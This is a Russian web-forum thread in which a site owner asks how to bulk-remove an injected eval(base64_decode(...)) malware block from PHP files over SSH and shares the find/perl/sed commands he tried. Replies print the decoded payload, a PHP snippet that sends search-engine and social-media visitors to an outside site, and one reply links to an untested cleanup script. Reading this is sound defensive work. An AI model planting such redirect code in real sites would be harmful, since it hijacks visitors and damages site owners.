Удаление кода eval(base64_decode

(Ответов: 17, Просмотров: 10370)
Страница 1 из 2 12 Последняя
  1. Гуру Аватар для 13й
    • Регистрация: 03.02.2010
    • Сообщений: 1,660
    • Репутация: 1110
    • Webmoney BL: ?
    Приветствую всех.
    На нескольких своих сайтах получил код в .php файлы
    Скрытый текст (вы должны войти под своим логином или зарегистрироваться и иметь 1 сообщение(ий)):
    У вас нет прав чтобы видеть скрытый текст, содержащийся здесь.

    Пытался его удалить командами, подключившись по SSH. При это находился в директории с сайтом, где и надо было почистить файлы от кода:
    данная команда вообще не помогла
    find . -type f -name '*.php' -exec perl -pi -e 's/eval(base64_decode("DQp.*"));//g' '{}' ;

    данная команда
    find . -type f -name '*.php' -exec perl -pi -e 's/eval\(base64_decode\(\"DQp.*KfQ0KfQ==\"\)\)\;//g' '{}' \;
    код удаляет, но сайт начинает криво отображаться.

    а эта команда
    find . -name \*php -execdir sed -i.tmp '{s/\(eval(base64_decode("\)[^"]*\("))\)/\1\2/}' {} +
    код удаляет, сайт корректно отражается, но остаётся начало кода <?php eval(base64_decode("")); и старые заражённые файлы остаются в папке сайта с расширением *.tmp (к примеру wp-comments-post.php.tmp)

    Чую, что где-то незначительная ошибка, а вот где... хотелось услышать пояснения спецов. Или подскажите какой командой удалить файлы *.tmp
    Хелп, в общем...
    Последний раз редактировалось 13й; 14.10.2012 в 10:14. Причина: Уточнил
    Место свободно для Вашей рекламы. С предложениями в ЛС.
    • -1
  2. Человечный Android Аватар для wolf28
    • Регистрация: 21.11.2011
    • Сообщений: 1,111
    • Репутация: 275
    13й, затронутых файлов очень много?
    если много имручками лень, есть простой скрипт с заменой _http://cmsdev.org/files/replace.zip; сам не проверял работу, но вроде бы нормально работает.
    Последний раз редактировалось wolf28; 14.10.2012 в 10:24.
    • 0
  3. Гуру Аватар для 13й
    • Регистрация: 03.02.2010
    • Сообщений: 1,660
    • Репутация: 1110
    • Webmoney BL: ?
    Цитата Сообщение от wolf28 Посмотреть сообщение
    13й, затронутых файлов очень много?
    не одна сотня. может 1К+
    P.S. В следующий раз отвечу не сразу, так как пошёл всё-таки спать...
    Место свободно для Вашей рекламы. С предложениями в ЛС.
    • 0
  4. Гуру Аватар для Denis Creative
    • Регистрация: 21.02.2012
    • Сообщений: 555
    • Репутация: 128
    • Webmoney BL: ?
    Так выложи весь код eval(base64_decode("... - его ведь можно раскодировать, а затем уже в полученном чистом php-коде редактировать. Вот в этой теме мне помогли, если не разберешься, кидай код, попробую.
    Создание и продвижение сайтов на WordPress и не только.
    • 0
  5. Гуру Аватар для 13й
    • Регистрация: 03.02.2010
    • Сообщений: 1,660
    • Репутация: 1110
    • Webmoney BL: ?
    Скрытый текст (вы должны войти под своим логином или зарегистрироваться и иметь 1 сообщение(ий)):
    У вас нет прав чтобы видеть скрытый текст, содержащийся здесь.
    Место свободно для Вашей рекламы. С предложениями в ЛС.
    • 0
  6. Дипломник Аватар для fizmatik
    • Регистрация: 08.04.2010
    • Сообщений: 161
    • Репутация: 35
    • Webmoney BL: ?
    13й,
    PHP код:
    error_reporting(0);
    $qazplm=headers_sent();
    if (!
    $qazplm){
    $referer=$_SERVER['HTTP_REFERER'];
    $uag=$_SERVER['HTTP_USER_AGENT'];
    if (
    $uag) {
    if (!
    stristr($uag,"MSIE 7.0")){
    if (
    stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
    if (!
    stristr($referer,"cache") or !stristr($referer,"inurl")){
    header("Location: http://minkof.sellclassics.com/");
    exit();
    }
    }
    }
    }

    • 1

    Спасибо сказали:

    13й(15.10.2012),
  7. Гуру
    • Регистрация: 17.04.2011
    • Сообщений: 672
    • Репутация: 249
    13й, посмотри вот здесь http://nashomsk55.ru/forum?func=view&id=441&catid=33 человек описывал как удалял вредоносный код со своего сайта.
    • 1

    Спасибо сказали:

    13й(15.10.2012),
  8. Гуру Аватар для Denis Creative
    • Регистрация: 21.02.2012
    • Сообщений: 555
    • Репутация: 128
    • Webmoney BL: ?
    PHP код:
    error_reporting(0);
    $qazplm=headers_sent();
    if (!
    $qazplm){
    $referer=$_SERVER['HTTP_REFERER'];
    $uag=$_SERVER['HTTP_USER_AGENT'];
    if (
    $uag) {
    if (!
    stristr($uag,"MSIE 7.0")){
    if (
    stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
    if (!
    stristr($referer,"cache") or !stristr($referer,"inurl")){
    header("Location: http://minkof.sellclassics.com/");
    exit();
    }
    }
    }
    }

    fizmatik, все правильно расшифровал)
    Теперь этот код можно поставить вместо eval(base64_decode(... и редактировать его как угодно.
    Создание и продвижение сайтов на WordPress и не только.
    • 0
  9. Гуру Аватар для 13й
    • Регистрация: 03.02.2010
    • Сообщений: 1,660
    • Репутация: 1110
    • Webmoney BL: ?
    Цитата Сообщение от Denis Creative Посмотреть сообщение
    Теперь этот код можно поставить вместо eval(base64_decode(... и редактировать его как угодно.
    На тысячах файлов? Не проще ли данный код удалить?
    Так-то я его и так сразу же декодировал. Только меня декодирование так-то мало занимало. Меня больше заботит его удаление со всех файлов.

    Виктор1974, спасибо за линк, но таким образом удалять код с тысяч файлов при наличии SSH доступа - это каменный век, монотонная работа и куча потерянного времени.
    Последний раз редактировалось 13й; 15.10.2012 в 01:12.
    Место свободно для Вашей рекламы. С предложениями в ЛС.
    • 0
  10. Во все тяжкие Аватар для CuxpecT
    • Регистрация: 14.06.2011
    • Сообщений: 2,325
    • Репутация: 2030
    • Webmoney BL: ?
    Цитата Сообщение от 13й Посмотреть сообщение
    Виктор1974, спасибо за линк, но таким образом удалять код с тысяч файлов при наличии SSH доступа - это каменный век, монотонная работа и куча потерянного времени.
    дак там же вроде как на автомате всё получается - сайт скачаете на компьютер, перепроверите, затем заного зальёте... не думаю, что займёт больше часа времени
    P.s. на 1 сайте только такая ерунда?
    бох смм
    • 0
Страница 1 из 2 12 Последняя

Похожие темы

Темы Раздел Ответов Последний пост
удаление сайта
Поисковые системы 4 02.04.2012 20:51
Удаление дубликатов доменов из txt
Софт, скрипты, сервисы 7 08.12.2011 22:40
Удаление дубликатов доменов из txt
Вопросы от новичков 0 06.12.2011 12:22
Удаление файлов по FTP
Web программирование 9 28.11.2010 02:24
Удаление ID новости в URL ( DLE )
Софт, скрипты, сервисы 4 28.08.2010 17:50

У кого попросить инвайт?

Вы можете попросить инвайт у любого модератора:

Информеры